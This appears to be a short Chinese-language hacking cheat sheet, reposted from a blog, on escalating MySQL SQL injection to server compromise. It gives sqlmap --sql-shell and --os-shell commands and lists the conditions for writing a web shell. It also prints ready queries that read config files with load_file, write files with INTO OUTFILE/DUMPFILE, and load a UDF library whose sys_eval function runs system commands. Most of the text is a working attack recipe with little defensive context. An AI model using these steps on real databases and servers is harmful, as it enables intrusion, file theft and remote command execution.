命令
sqlmap -u --sql-shell
之后就和sql中的命令一样
文件路径
select @@datadir;
查看版本
select @@version;
读写文件
常见的找绝对路径方法:
网页报错信息
phpinfo、探针
数据库查询、暴力破解
参看:常用的绝对路径收集
查看php是否开启魔术引导
测试方法:
特殊字符测试是否转义成反斜杠
探针、phpinfo等
mysql写shell的条件
1、网站可访问路径的绝对路径
2、secure_file_priv 的值非NULL或包含了导出的绝对路径
secure_file_priv的值在mysql配置文件my.ini中设置,这个参数用来限制数据导入导出
Mysql>=5.5.53 默认为NULL,即默认禁止导入导出
Mysql<5.5.53 默认为空,即默认无限制
3、mysql服务有对网站可访问路径的写权限
4、mysql连接用户有FILE权限/ROOT用户或ROOT权限
5、GPC关闭//未对闭合用的引号转义
outfile 和 dumpfile的路径不支持hex,必须有引号包裹
# 高版本只允许操作secure_file_priv变量指定目录下的文件select @@secure_file_priv;# 写文件 # into dumpfile用于二进制文件,select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so'; # into outfile 主要的目的是导出 文本文件select '123' into outfile /var/www/1.html;#读文件select load_file('/etc/httpd/conf/httpd.conf');# 有的时候读取很慢 ,可以不读整个文件 下面先以DocumentRoot分割,获取查找第3个左边的部分substring(substring_index(substring_index(load_file('/etc/httpd/conf/httpd.conf'),'DocumentRoot',3),'DocumentRoot',-1),1,20);
udf
#找到现有的自定义函数select * from mysql.func;# MySQL 5.0.67 开始udf需要在指定路径下select @@plugin_dir;#导入udf库文件select unhex('hexcode') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';#创建自定义函数create function sys_eval returns string soname 'mysqludf.so';# 执行自定义函数select sys_eval('whoami');
下一步使用sqlmap --os-shell
可以执行命令
下图是网站的绝对路径
参考
来源地址:https://blog.csdn.net/qq_45751902/article/details/127517553